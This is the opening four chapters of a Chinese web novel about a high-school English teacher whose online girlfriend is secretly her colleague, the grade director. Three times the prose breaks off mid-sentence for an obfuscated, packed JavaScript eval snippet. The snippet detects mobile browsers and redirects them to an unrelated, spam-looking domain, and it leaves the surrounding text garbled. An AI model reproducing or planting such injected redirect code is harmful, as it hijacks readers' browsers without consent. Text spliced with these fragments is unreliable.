《林老师的秘密情人》 1. 第一章 第一章:她的小鸵鸟。 从这学期开始,南城中学不允许周末上课了。意味着学生们迎来双休,所以周五显得非常躁动。 此刻,高一1班教室里,乱嗡嗡一团麻。 试卷一张一张往书包里送,东西是要多带的,作业却是一点不想做的。 “不是,赵筱筱!还有一节课呢!你慌什么我请问呢?” 赵筱筱不为所动,呲着白牙笑:“林老师的课过得都很快的,我先收拾好,等会儿放学就开溜!” “你这样搞得我很慌诶!”同桌不吐不快,却忍不住跟着收拾起东西来。 没一会儿,上课铃声响起,学生们惊雀般迅速归位。 赵筱筱把英语书放在桌上,装模作样把书摊开,另一只手还在抽屉里摸来摸去,将所有东西揉进书包里,丝滑地拉上拉链。 而当她再抬头朝门口望时,林筝墨正好从门外进来。 漂亮的人总是赏心悦目—— 一条素白的长裙穿在林筝墨身上,衬得她的肌肤像瓷,那白皙好像与阳光不对付,鹅蛋脸,嵌着端正秀丽的五官,相貌确实清泠,却并不具备强势的疏离感,反而因为瘦美显得孱弱。 林老师的头发是公认的漂亮,黑长的发随意地搭在肩头,在自然光下泛着一层柔美的光,目光善睐动人,扑面而来一股温静又宁和的美感。 只见林筝墨将电脑放下,虚虚抬眼,声线平静又柔和: “每周五这个时候你们都好开心哦。” 台下一阵轻快的哄笑。 “但课还是要上的。”她一只手撑在讲台上,纤细的腰身靠着桌,另一只手漫不经心将课件打开,目光又无意和学生对上,弯唇笑:“放心吧,不拖堂。” 于是笑声再度响起。 林筝墨的课堂最不缺的就是笑声,即便自认为缺乏一点幽默感,但学生素来反响热烈,思来想去只得出一个结论:这群可爱的家伙很给面子。 这节课时间紧,不打算和他们唠嗑。 “先回顾一下上节课学过的短语,有些同学介词还是在乱用。” 幻灯片已经打开,翻阅到某页,刚要开口说下一句,突然手机震动了一下,林筝墨无意一瞥,一条微信消息。 大概率是“啊啊啊”发来的消息。 “啊啊啊”是林筝墨的网恋对象,即便恋爱已经三个月,但在备注上还是保守。 对于这种亲密关系,林筝墨有点儿不知道怎么称呼对方。 诸如「亲爱的」「宝贝」「老婆」这样的称呼,她和“啊啊啊”暂时还没有过。 啊啊啊发了什么呢? 现在又不能看。 却牵扯着林筝墨的情绪。 原本只是平静无恙的表情,唇角忍不住荡漾着浅淡的笑意,转瞬即逝却又引人注目。 胆大的学生已经开始八卦: “林老师!你好像笑了!谁发的消息!不会是你对象吧!!” 没有学生对漂亮老师不好奇,尤其是这群步入青春期的同学们。和学生关系好有时候也有弊端,那就是学生可能会没那么有边界感。 林筝墨应付起来却很有一套。 只见她敛下笑意,波澜不惊回应着:“我暂时没有谈恋爱的想法。” 一句话直接熄灭了所有人的好奇心,云淡风轻一闪而过,无人怀疑。 全世界最好的林老师怎么可能撒谎! 不! 可! 能! “还是说回介词,是我之前讲得不够清楚吗?”她拿起笔,转身在黑板上画了一个圈,“on和in是超级直观的两个词,就比如.......” 清甜的声音在教室里回响着,连带着阳光都变得明朗起来。赵筱筱听得如痴如醉,有时候她觉得林筝墨是绿色的,是那种初夏带来的赏心悦目的绿,那种能在所有人心上开花的绿。 一节课的时间过得飞快...... * 林筝墨果然没有拖堂,下课铃响起那瞬间就意味着放学,一放学孩儿们都飞走了。她很少叮嘱学生们这样或者那样,对她而言,这个年纪的学生完全能够生活自理,说多了反而会显得唠叨。 收拾好东西,林筝墨拎着电脑包快速离开教室,要说最想放假的应该是她而不是学生。 走廊上不停有学生在说拜拜,林筝墨忍着没看手机。 几番颔首终于来到办公室,接收关于“啊啊啊”的信息。 啊啊啊:【今天你放假诶。】 啊啊啊:【打算怎么安排?】 林筝墨搁下电脑包,一字一句打下:回家,吃饭,追剧。 她没忍住打下后面一句:如果你愿意见面的话,我们就可以去逛街或者看电影了。 斟酌半晌,还是删掉了后半句。 “诶,林老师,今晚团建去吗?”隔壁赵老师朗声问。 林筝墨熄屏,“就不去了,要回我妈那边。” “喔,是隔壁简主任在确定人数。”赵老师笑盈盈的:“我就是再确认一下!” 简主任。 简越。 政治老师,也是高一年级的主任。年纪和林筝墨相仿,但不熟。 林筝墨就一个印象:这人有点高冷,说话总是一本正经的,每次开会绷着一张脸,应该是那种高要求,抠细节,而且很难相处的人。 虽然有不少同事和她相处得不错,但林筝墨是一点兴趣都提不起来。 总结:没什么好聊的!! 这空隙,啊啊啊又回复了:【给你点了外卖~】 “那您真不去啦?”赵老师唠唠叨叨。 林筝墨压下笑意:“嗯,我妈已经把晚饭准备好了。” “哇,真好!那我去和主任说一下。”赵老师一眨眼人就不见了。 林筝墨盯着手机屏幕,回复啊啊啊:【今天团建我不去,正好饿了。】 啊啊啊秒回:【我猜到了。】 林筝墨:【点的什么?】 啊啊啊:【回去看就知道啦。】 林筝墨:【已经连续三次不去团建了,同事会觉得我格格不入吗?】 啊啊啊:【当然不会。】 啊啊啊:【每个人都有自己的生活嘛。】 啊啊啊:【倒是不回家外卖要凉啦~】 林筝墨对着手机屏幕笑,她在想啊啊啊到底是怎样一个人呢?每次都能精准安慰到她。 她喜欢对方的温和细心,至少她在生活中从来没有发现过这样的人。 回复了个好,林筝墨收拾好东西准备回家。 高一年级的办公室是连续几间,走廊出去,隔壁那间就是简主任的办公室。 林筝墨路过的时候听到赵老师说话的声音, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15606808|172086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不知道是不是耳朵太好,在赵老师一连串的话语中,林筝墨忽然捕捉到一声清越的“嗯”。 这个嗯。 是简主任会发出的声线。 林筝墨刻意没有抬头,她只想在同事中当个隐形人,她要回家吃她“妈”准备的香香饭。 轻轻飘走...... 与此同时,办公室内。 “主任,我们英语系只有小林不去。” “嗯。”简越坐在自己的工位上,宽松的蓝纹衬衣很配她,扣子解开两颗,平直的锁骨上有一条细细的银白项链。 嗯的同时,看见林筝墨像鸵鸟一样悄无声息从走廊飘过。 简越冷淡的眸子瞬间聚满色彩,唇角有了微不可察的弧度。 “简主任,林老师她好像不太喜欢参加这类活动,下次您就别让我去问她了,她不会去的。” “再说吧。” 赵老师不嫌事大:“她说她要吃妈给她准备的香香晚餐。” 有点儿添油加醋了,人家说的是晚饭,可不是“香香”晚餐。 虽然但是,对林筝墨来说确实是一个意思。 简越难得抬起头,一双好看的杏眼望向赵铭,“吃她妈妈做的香香晚饭?” “对呀,走的时候可迫不及待了!” “哦,肚子饿了那也很正常。”简越站起身来,她个字高,大约有一米七,蓝衬衣随性扎在宽松的牛仔裤里,身形颀长,一双腿又长又直。 她身上有一种难以言喻的气质,干练又清爽,有时候会觉得她严肃,但仔细观察会发现,这种感觉源自于女性的智慧。 人当然也长得很漂亮,五官立体,眉眼之间有股英气,却不失女性的柔美。 这种漂亮和林筝墨不一样。 呃,如果说林老师像不食人间烟火的仙女,简主任则是望尘莫及的老神仙。 噢,她们都有神的味道,那还挺配的。 赵铭胡思乱想着。 “走吧赵老师。”简越已经走出办公室大门。 赵铭几步追上去,“和老师们约好啦,直接吃饭的地方见。” “那你呢。”简越步子迈得快,她在空气中寻找林筝墨的痕迹,“你要坐我车?” 赵铭舔着脸笑:“可以吗?简主任。” 简越不语,脑海里回忆着赵铭先前说过的话。 “她真那样说的?” “嗯?”赵铭愣了一下,不知道简越指的是? “她说是她妈妈?” “对啊。” “噢。” 简越眉梢舒展开来,眸子暗含着一股喜悦,若是仔细看,会发现她其实在笑,只不过是在用眼睛。 赵铭心细,察觉到简越表情的变化。 “哈,简主任,林老师怎么你了?” “没事。”简越长腿一迈,赵铭根本追不上来。 赵铭只好小跑着跟上去,边跑边说: “您肯定想到什么开心的事了?笑这么开心?” “没有的事。” 简越快步走到廊道尽头,脑袋一偏,赶上了,正好看到林筝墨提着包从一楼走出来。 那人步伐轻盈,一抹白色的倩影在简越的视线里回荡...... 简越脚步逐渐慢下来,眼底流露着迷恋的光芒。 是她的小鸵鸟下班回家了…… 2. 第二章 第二章:一张诱惑照片。 林筝墨的生活非常简单。 下班之后慢悠悠回家,偶尔“啊啊啊”给她点个外卖,不吃外卖的时候就自己做做饭。 她养有一只布偶猫,因为毛发蓬松,所以取名叫泡泡。 社交方面,林筝墨生性慢热,不善言辞又太讲礼貌,有一点点不会拒绝别人。 比如学校的聚餐,年纪大一点的老师总要给给她介绍对象,她知道人家是好意,但完全不需要。几番推辞过后,觉得自己有点不近人情,所以索性直接不去聚会了。 她有一个深交十年的好友,但最近对方很忙,所以情况基本就是—— 她的生活大部分都被“啊啊啊”占据了。 其实,认识“啊啊啊”完全是一场意外,那时候林筝墨正在考编,两人在一个群里认识的。 群里的人说“啊啊啊”是个大佬,考试很有一套。林筝墨秉着学习的态度加了对方。 没想到后来越聊越深,越聊越深。 深到—— 作为深柜的林筝墨彻底沦陷了,她母胎单身二十八年,从未想过自己的初恋会是网恋。 大概也是因为恋爱经验不丰富,所以在没见面的情况下,她就完全相信了啊啊啊。 只听过啊啊啊的声音,话不多,声音却很好听,这种音色似曾相识,总觉得哪里听到过,但又怎么都想不起来。 “外卖很好吃,但太多了我吃不完。”林筝墨发了一条语音给对方,附加:“不要点这么多,浪费。” 啊啊啊文字回复:那下次点二分之一份那么多。 下一句:看看小猫。 “泡泡。”林筝墨把小猫唤过来,在柔软的小白毛上抚摸几下,拍了一张照片给啊啊啊。 “泡泡又变好看了。”这是啊啊啊给予的回复。 “你总是爱看小猫。”林筝墨发出去后,觉得自己的语调有点奇怪。 “那如果我说,我更想看你,会不会有点不礼貌。” 啊啊啊还是用文字回复的,其实听不出她的音调。 但林筝墨心跳漏了一拍,她一直很费解,干瘪的文字只是呈现在手机屏幕里,居然能让她觉得心动。 “啊。”林筝墨只回复了一个字。 一个单调却富有情绪的文字,杂糅着林筝墨乱七八糟的情绪。 “啊,别有压力。”啊啊啊依旧秒回。 林筝墨盯着屏幕半晌,在想: 这真是一种奇怪的恋爱模式,她们都没见过对方长什么样子,但是却谈起了恋爱,而且这种关系持续了三个月之久。 她其实并不排斥让啊啊啊看到自己,毕竟总是有走出网络的那一天,发一张照片完全没关系,这也是啊啊啊第一次提出这样的要求。 但是...... 林筝墨:【那我能看看你吗?】 啊啊啊:【我不好看。】 林筝墨:【你知道我不在意这个。】 啊啊啊:【我还没准备好。】 林筝墨:【那好吧。】 啊啊啊:【对不起TAT.】 林筝墨什么都没说,坐在沙发上,咔擦一声,有点赌气的意味,连照片都不P,直接发了过去。 啊啊啊:正在输入中...... 输入了半天,一个字都蹦不出来。 林筝墨点开自己的照片,虽说是没有精修,但完全不丑好不好? 林筝墨:【你怎么不说话了?】 * 那时简越正在聚餐,左边是赵老师,右边是李老师,两人的嘴巴噼里啪啦放着鞭炮,简越坐在中间直戳手机屏幕,面对林筝墨突然发过来的照片,瞬间愣住了。 她没想过林筝墨真的发! 一张照片让所有美食都变得索然无味了。 李老师打趣:“咱们简主任有些时候就是爱玩手机哈,眼睛直溜溜盯着,眨都不眨一下。” 简越秀眉轻蹙,不露声色:“嗯,在处理工作,最近一堆事。” 赵老师看了眼防偷窥屏,谄媚道:“主任工作真是太上心了!咱们高一年级有福了!” 简越目不转睛盯着林筝墨的照片。 文科大佬第一次词穷,觉得赞美之词实在虚伪,说点什么好呢。 “嗯,我正在看消防安全的文件。”话是这么讲,简越两指放在照片上,放大来看,林筝墨靠在沙发上,她穿着一件洁白的宽松T恤,五官秀丽,眉眼清澈,拍照时没有表情,一双大眼睛凝视着镜头。 但这种没有表情的表情反而让人觉得很心动。 就有一种:既然你要看我,我就给你看呗的意味。 一瞬间,简越心底暖烘烘的。 她有点儿被林筝墨可爱到了。 简越编辑回复:漂亮。 打下,删除了。 觉得程度不够,再加点儿形容词显得很谄媚。 简越又编辑:居然真的发了照片。 打下,又删除了。 万一她下次不发照片了怎么办? 抬头望向天花板,华丽而浮夸的水晶吊灯让简越脑袋晕眩。 有时候情绪太满反而说不出话来,文字删删减减,最后一个字都蹦不出来。 林筝墨:你怎么不说话了? 简越连忙回复:你气色好好啊,皮肤真是又白又亮。 发过去之后想扇自己一巴掌,觉得没表达到位,还不如直接说漂亮呢。 林筝墨呆里呆气,倒不在意:喔,皮肤好应该是天生的吧。 席间,忽然有人谈起了林筝墨,简越眼皮半掀,小心听着。 “哦,小林啊,我正准备给她介绍对象呢。”历史组张老师特别喜欢林筝墨,“这么漂亮一姑娘,她还没谈恋爱咧!!” “不会吧?林老师这么温柔的人,应该很多人追吧,她怎么会不谈恋爱呢?” “当然有人追啦!之前那个——”张老师顿了一下,一句话又咽了下去,“反正追的人蛮多,但姑娘眼光高,这也正常,她自己就很优秀嘛!” 简越熄屏,第一次主动加入对话: “没时间谈恋爱啊。”她不喜欢别人谈论林筝墨,便把话题往自己身上揽,“上班好忙。” 张老师诧异,长脖子一扭,镜片下一双眼睛十分惊愕:“简老师!我还纳闷呢!你居然也不谈呀?不应该呀!你这外观这形象,不是一抓一大把吗。” “没时间。”简越意味深长地看着对方:“也没人给我介绍。” “哎哟简老师,这话说得!你要谈恋爱哪里找不到!” “我很懒。” “那我下次介绍给你怎么样?” 破天荒的,简越居然点了点头,一副入了耳的模样:“那你暂时不给林老师介绍了?先把我的终生大事解决了再说。” 一桌人听了都很惊讶。这不像简越会说的话,看了眼她面前的杯子,没喝酒呀。 那副表情,实在听不出她在开玩笑还是在给林老师解围。 在场只有张老师当真了:“太妥了!” * 在家撸猫的林筝墨一无所知,她只知道啊啊啊过了很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15606809|172086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久才回复。 啊啊啊:才到家,刚刚忘了说,除了气色好,其实也很漂亮。 林筝墨这才回过神来,心想,你怎么现在才夸我漂亮! 她回复:让我也看看你。 啊啊啊:不看脸行吗? 林筝墨:可以。 过了大约七八分钟,啊啊啊才发了一张照片过来。 照片跳出来的时候,林筝墨的心跟着也跳了一下。 那是一张......其实还挺诱惑的照片?倒不是那种露骨的诱惑,但带着一点儿明里暗里的小心思。 照片里,啊啊啊坐在一张藤椅上,身姿后靠,仰拍状。她穿着一件灰色背心,这种背心身材不好穿出来会很难看,所以其实是很挑人的。 照片的角度拿捏得非常精准,有种处心积虑的随性感。 于是,林筝墨看到了: 纤细又不失线条的手臂。 平直撩人的锁骨。 女性美好的曲线以及—— 紧实的腰腹? 啊啊啊的身材很好,很像那种常年健身的人,苗条,紧致,但一点都不壮。 林筝墨作为一个缺乏运动细胞的人,忽然就坐直了身体,开始认真欣赏起来。 先是将照片放大一万次,每个细节审核到位,连眼睛都舍不得眨一下。 欣赏完毕,忽然想到什么,吁出一口气来。 林筝墨:你为什么发网图? 啊啊啊:??? 林筝墨:下次不许忽悠我了。 啊啊啊:啊。 简越这边心情上上下下,不知该哭该笑。往好了想,被夸是网图应该也算是一种夸赞吧?她都能想象,林筝墨是以怎样的表情看完这张照片,然后发出这样的评价。 有时候林筝墨真的会一本正经的搞笑,你会从她的严肃里嗅到一点点可爱。 简越回复:这是我,不是网图。 林筝墨:喔,你身材好好。 简越刚想客气一下,结果屏幕忽然冒出一句: 林筝墨:你怎么不早点发? 简越:什么意思。 林筝墨:有点好看。 下一秒,那句“有点好看”被撤回了,变成了“以后你要看泡泡,要先发自己的照片才行”。 一句话钓得简越唇角上翘,暖烘烘,湿哒哒,甜滋滋,三味真火一同烧,烧得简越脸颊滚烫。 简越:好。 此时窗外月上枝头,冷光将木地板铺得银亮。简越蜷缩在沙发上,和林筝墨开启了闲聊。 她们有很多话可说,在她们的世界里,一个文字可以连成一句话,一个点可以画成一个圈,密密麻麻,情意绵绵。 林筝墨很喜欢发短句语音,简越戴着耳机,时常捕捉对方的音色。她觉得林筝墨的声音有种诱惑力,像是颜色透明的伏加特,看起来寡淡,喝起来浓烈,欲罢不能。 临近睡眠,听见林筝墨用懒懒的声音说: “我们什么时候可以见面呢?” 简越凝视着半空,用温和的声线回应着:“要不要再等一段时间,我怕你害怕。” 她不是第一次这么说,林筝墨却回回感到困惑。 “我怕什么。” “你的工作性质,你有那么多同事,你又不喜欢别人窥探你的私生活。” “可是你又不会出现在我工作中。”思念让林筝墨有些窝火:“我什么时候才能看到你呀。” 简越深吸一口气,阖上眼,脑海里是林筝墨的样子。 “嗯......下个月?” 3. 第三章 第三章:撞进一个温柔怀抱里。 下个月。 这个答案其实很含糊。 现在是月初,月底也算下个月,满打满算也能有五十多天。 简越当然知道纸包不住火,但能包多久算多久吧。 她太了解林筝墨了,林筝墨是一个把工作和生活分得很开的人,如果知道自己的女朋友就是隔壁的同事的话,按照那人小鸵鸟的性格,会直接连夜买站票离开。 简越是有计划、有安排的。 她想让林筝墨对她感情再深一点点,当然,这个一点点必须要打个引号,实际上,她想让林筝墨爱她,爱到不可自拔,爱到难以抑制,爱到即便有一天她站在林筝墨面前,林筝墨也不会吓到逃跑。 “可以吗?下个月?”简越重复了一遍。 林筝墨虽然对这个答案不满意,但想着总算是松口了。 “好,可以。” 简越看了眼时间,“要不要睡觉了?” 林筝墨早已睡眼惺忪,“要......” “晚安。” “你可不可以亲我一下?”林筝墨忽然红着脸说。 她好诱。 简越耳根不自觉发烫,连带着喉咙都痒痒,像是有火在烧。 “好的,亲你一下。”简越非常克制地压住呼吸,隔着耳机发出紧绷的声音。 她听到林筝墨轻轻笑了声,然后语音通话迅速挂断了。 这种感觉像是有人突然撩拨了你一下,然后跑开。 这很林筝墨。 简越看着通话记录的1:23:44,满眼惆怅,她觉得林筝墨在勾l引她的魂魄,时常令她夜不能寐,那些偶尔跳出来的情话,压在她的神经上,控制着她的呼吸和心率。 翻了个身。 手机蓝光映射出简越精致的五官。 她打下一句:见面的时候我真的会亲。 咻—— 发送出去。 * 假期总是过得很快,周末转瞬即逝,转眼来到周一。 两日休息,林筝墨精力满满去上班了。她住在学校附近的公寓里,通勤大概只要十分钟。 当老师的好处是,永远都能嗅到年轻的味道。 清晨,校门口堆满了学生,有吃早饭的,塞得满嘴都是;还有嘻嘻哈哈打招呼的,似乎学生时代的人,永远都热衷于一件事:那就是远远看到自己的好友,偷偷摸摸溜上去,拍一拍对方的后背,神神秘秘来一句:嘿!! 期待看到对方被吓到的那一瞬间,随即哈哈大笑。 林筝墨默不作声看着这一切,嘴角微微上扬。 老实说,她很喜欢这种纯粹且热情四溢的感觉。 “林老师!早上好!!”赵筱筱背着书包与她擦肩而过,气喘吁吁留下一句:“我来不及了先走了!” 果然没写作业! 林筝墨看她慌忙的背影,无奈摇头。 “简老师早上好~” 简越:“早上好。” 陌生的音色钻进林筝墨的耳朵里,约莫在身后五六米的距离。 那声音...... 林筝墨迅速拧了拧眉头,怀疑自己没睡醒,她居然觉得简主任的声音和啊啊啊有几分相像,都是干净清越的类型。 人群涌流似粥,林筝墨刻意放慢了脚步,大概十几秒后,一个身材高挑的女人从她旁边走过。 她们向来是不会打招呼的。 因为不熟,所以能避则避。 简越走得快,没一会儿到林筝墨前面去。 林筝墨肆无忌惮看着她的背影,她今日依旧一身简单装束,长发束起,白颈似雪。白衬衣的衣领翻折得整齐,内搭一件灰色T恤,下着一条牛仔裤,清清爽爽,纤瘦颀长,在人群中很扎眼。 所谓人靠衣装,有时候衣服也挑人的。 林筝墨迅速打量着,一秒、两秒、三秒。 她很少观察简越,正看得入神,前面的人忽然停了下来,这种停顿非常突然,令人猝不及防。 简越忽然拧过头来。 !!! 林筝墨要转移视线已经来不及了,两人莫名其妙对视上。 简直五雷轰顶,搞得林筝墨莫名有点尴尬,但既然已经对视,不打招呼显得更奇怪了。 “简主任。” “嗯。”简越非常自然地看着林筝墨,似乎在等她。 林筝墨硬着头皮走上去,两人并肩,相互之间保持着恰当的距离。 这是两人私底下第一次相处,林筝墨浑身紧绷,捏紧了电脑包,不语。 好后悔刚刚盯着她看啊。 “周五聚餐你好像不在?”简越漫不经心开启话题。 “对,去我妈那里吃饭。” “哦,这样啊。”简越眼含笑意,侧目望向林筝墨,看她清瘦的侧脸,翘挺的鼻梁。 林筝墨却不看她,只是目视前方。 她的脸红扑扑的,白皙里渗透着柔润的血色,在清晨的潮气中显得十分美丽。 “下次也不参加吗?”简越乱七八糟找着话题,目光疯狂在林筝墨脸上掠夺着。 她要看她,能如此近距离,机会实在渺茫,现在要抓紧这几分钟的机会。 听到她的问句,林筝墨终于舍得看她,眼神慵懒而寡淡。 “不知道。” “看情况。” 简越的目光撞进林筝墨的瞳仁里,像是掉进了一片冰冷的湖泊,感受不到一点温度。 要把这张脸,这种表情,这种语气,和昨晚那句“可不可以亲我一下”结合在一起,很难相信说话的是同一个人。 这种反差令人心动,又带着一点罪恶,那是她和林筝墨在另一个世界的秘密。 而现在,她又是上帝视角,又是主人公,这对林筝墨来说不公平。 简越迅速收回视线,以免显得很冒犯。 “对了,林老师,麻烦帮我把这份报告带给赵老师。”简越从包里拿出一份空文件,“谢谢你了,林老师。” 林筝墨接过,“好。” “我去趟教务室。”简越的表情正经到看不出破绽,同时指向另一方,看似匆匆:“我先走了。” 林筝墨心不在焉的敷衍着:“好的。” 简越阔步往前走,心跳得厉害。四面是学生的嚷嚷声,先前与林筝墨那一瞥,让空气都变得稀薄起来,直到人少的花坛停下,她才呼出一口气。 再拿出手机,发现林筝墨连发几条消息。 内容居然是: 【刚碰到我们年级主任了。】 【她好懒啊。】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15606810|172086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 【连一份小文件都要我帮她带。】 【下次看到她要绕道走了。】 简越捏着手机一脸苦楚。 只是想搭讪! * 林筝墨这人非常奇怪,表面上,她是一个恬静、温和、看似很好说话的人。 实际上,她的寡言少语只是为了避免麻烦。 对于不熟的人更倾向于冷漠。 比如简越让她帮忙捎东西,对别人来说可能只是抬一下腿的事,但林筝墨可不情愿了,她觉得麻烦。特别是赵老师是话多的类型。 “简主任给你的。”进办公室后,林筝墨将文件放在赵铭桌上,她没有多余的废话,折身坐在自己的工位上。 赵铭一脸困惑,将文件拆开来看。 这不啥都没有吗? 赵铭伸长了脖子:“简主任给我干啥?” “不知道,她专门停下来等我。”林筝墨眼皮都懒得抬一下,“就是为了让我交给你。” “啊呀。”赵铭悟不出其中的道理,“那可能她给错文件了吧。” 林筝墨没说话,划开屏幕发现啊啊啊没回复,一抬眼赵铭双臂撑在桌上,仿佛有话要说。 林筝墨:“怎么了赵老师?” “跟你说啊,昨晚还好你没去!” 林筝墨:“?” 赵铭压低脑袋,小声嘟囔:“昨儿吃饭正兴头上,张老师说要给你介绍对象来着。” “我都不在场。”林筝墨不怒反笑,那笑容带着一点含蓄的讥诮,“他们还这么关心我啊?” “可能就是因为你不在场吧!你都成话题中心了你。”赵铭的小眼睛眯成一条线,有点吃饱了的猪,确实闲得慌,他继续说:“张老师说要给你介绍对象嘛,越说越带劲,结果你猜怎么着,简主任忽然发话了。” 哦,简越。 又是简越。 “嗯,然后呢。”林筝墨可没什么耐心。 “简主任说,她也没谈恋爱呢,让张老师先管管她的人生大事,暂时不用考虑你。” 林筝墨眉头舒展开来,“可以,让张老师全都介绍给她吧。”补了句:“一个都不用给我留。” 她是真心实意的,她的生活完全不需要,全是负担。 赵铭却以为她在争风吃醋,“你不高兴啦?” 林筝墨没忍住笑了出来,那笑声克制又短促,“我没有。” 我只是开心。 但不能说。 能不能把全世界的男人都塞到简越那里去? 那简老师算是积了大德。 赵铭盯着林筝墨,确实没看出她的恼意,沉默半晌,觉得十足的无趣,这种男女八卦,居然没有掀起林筝墨半点波澜! “林老师,你这人有时候蛮奇怪!这个话题对你来说没有任何冲击力吗?” 林筝墨不解释也不回答,只是起身,扔下一句:“哎,时间不早了,我去看看1班早自习怎么样了。” 桌上英语书拿起,赵铭还没说出下一句,林筝墨已经溜走,眼见她已经走到办公室门口。 乍然之间,门框内同时出现另一道身影,不巧,白衬衣撞在白裙子上,两人同时发出小声的惊呼,哗啦一声,英语书和一叠A4纸散落满地。 “啊,不好意思简主任!” 4. 第四章 第四章: 林筝墨当时只想逃离赵铭的碎碎念,没想到却撞进了一个柔软的怀抱里。 在与简主任近距离接触的那0.01秒,林筝墨心跳陡然加速,她把这种情况归因于惊吓。 可真的只是惊吓吗? 她先是闻到了简主任身上的香味,居然出奇的好闻,类似于夏夜漫步幽静花园里,能嗅到的植物根茎带来的清爽味道。 而后她与简越的视线再次对上。 不小心落入琥珀色的眼波里,荡漾着迷人的水光,让她好紧张。 “不好意思简主任!”林筝墨挪开了眼,客客气气道。 “没事。” “是我走路太急。” “没事没事~” 林筝墨没接话,蹲身去捡地上的纸,发现简越和她进行了同样的动作。 弯腰的时候,林筝墨的长发搭在膝盖上,正好遮住了她的侧脸,纤白的手指将凌乱的纸整理整齐,简越加入进来,两人的手指在白纸之间周旋,无意间碰在一起,像是触电一般,同时往后退了一下。 林筝墨不动声色将纸恢复整齐,“好了,简主任。” 简越接过那一叠纸,顺手将英语书递给她,“谢谢。” 各自站起身来,各怀心事,没有目光接触,简越径直朝赵铭走去,林筝墨则默不作声转身,向高一1班走去。 长长的廊道上,林筝墨的单鞋踩出柔缓的节奏,心跳却没缓下来。 她的脑袋,在不停回溯先前撞到简越的那个瞬间,她发现自己居然对简越身上的气味如此敏感。 那是一种她在别人身上从来没闻到过的味道。可以穿透她的鼻腔,沉入她的心里。 好可怕! “exchange、exchange——” “lecture、lecture——” 整齐的朗读飘进林筝墨的耳朵里,她缓缓站在教室门口,学生们一看到她,声音更卖力了,一声一声推过来,嚷得她只好后退几步,到走廊上歇歇耳。 恰逢班主任过来,笑着对林筝墨打了个招呼。 “林老师,我等会儿占用几分钟,通知一个事情。” 林筝墨颔首,“好。” 那老师稍稍顿足,开始和林筝墨搭腔:“对了,林老师,下周运动会的事儿,正要和你商量呢。” 林筝墨心一沉,该来的还是来了。 她装作不知,“怎么了?” “接力赛跑你参加了的吧?晚上在后操场安排一下,你会来的吧?” 麻烦。 但不能拒绝。 拒绝显得很不近人情。 “好的,几点?” “晚上七点半,咱们在操场集合啊。” 班主任很在意班级荣誉,林筝墨表示理解。这也没什么行不行的,总归没有拒绝的理由。 “嗯,没问题。” “行咧。” * 南城中学是要上晚自习的,学生们自己在教室写作业,不需要老师守。 晚饭过后,林筝墨穿了一身休闲运动装,慢悠悠朝操场走去。届时天已擦黑,橘黄的路灯照在水泥地上,映出冷暖交织的青橘色。 学校的操场一共有两个,一个在篮球场前面,一个在后面。 老师们约在后操场,因为那里几乎没有学生。 林筝墨到的时候,距离约定的时间还剩五分钟,已经有不少老师在等候。 远远望去,一道高挑的身影伫立在人堆里,薄薄的肩膀挺得笔直,她的侧脸在黯淡的光影里形成一道清瘦的剪影。 是简主任。 这是林筝墨今天第三次看到她。 林筝墨恍惚,回忆起来,哦,原来简越是高一1班的政治老师,跑步队列里也有她呢。 她默不作声走过去,在距离大家差不多一米的地方停下。 早有人注意到她。 “林老师,快过来。”赵铭热情挥挥手,将林筝墨也拉进了人堆里。 原来是在商讨策略呢。 由于每个老师教不同的班级,所以其实是具有重叠性的,所以老师们的比赛,不能代表任何班级。 所谓友谊第一,比赛第二,所以是以随机的方式,决定哪些老师是一组的,一组四人。 “林老师,已经安排好了,您和我们是一组的。”说话的是赵铭。 林筝墨一看,哦,她,赵铭,还有简越,以及另一个体育老师四人一组。 说好的班主任呢?一转身,人家在另一组呢。那倒也无所谓了...... 赵铭编排起来:“除了龚老师,我们都是业余的,反正宗旨就一个,不能拿最后一名!” 龚老师直男一个,大秀自己的丰功伟绩:“怎么不能第一了?我一出山,直接甩他们一条街!” 林筝墨直言:“不好意思龚老师,我运动细胞不是很强,学生时代垫底的,恐怕是要拖你后腿了。” 龚老师:“别怕林老师,我带你!” 简越在黑暗中默默观察着,哪儿能不知龚老师的司马昭之心,不疾不徐道:“龚老师,还是要看具体情况的。” 碍于简越的身份,龚老师不好再作秀,讪笑:“那我听你们的!” 其实简越压根没把这次的比赛当回事,大概率林筝墨也是如此。大家工作都忙得要死了,谁还在意跑步能不能拿第一? 但赵铭的观点还是很中肯的。拿不到第一,但总不能最后一名吧。 “这么多小组,肯定有老师会掉棒,咱们只要不掉棒,那肯定不是最后一名了。”简越提出建议:“熟悉一下接力棒就行了。” 林筝墨没说话。 没说话表示同意。 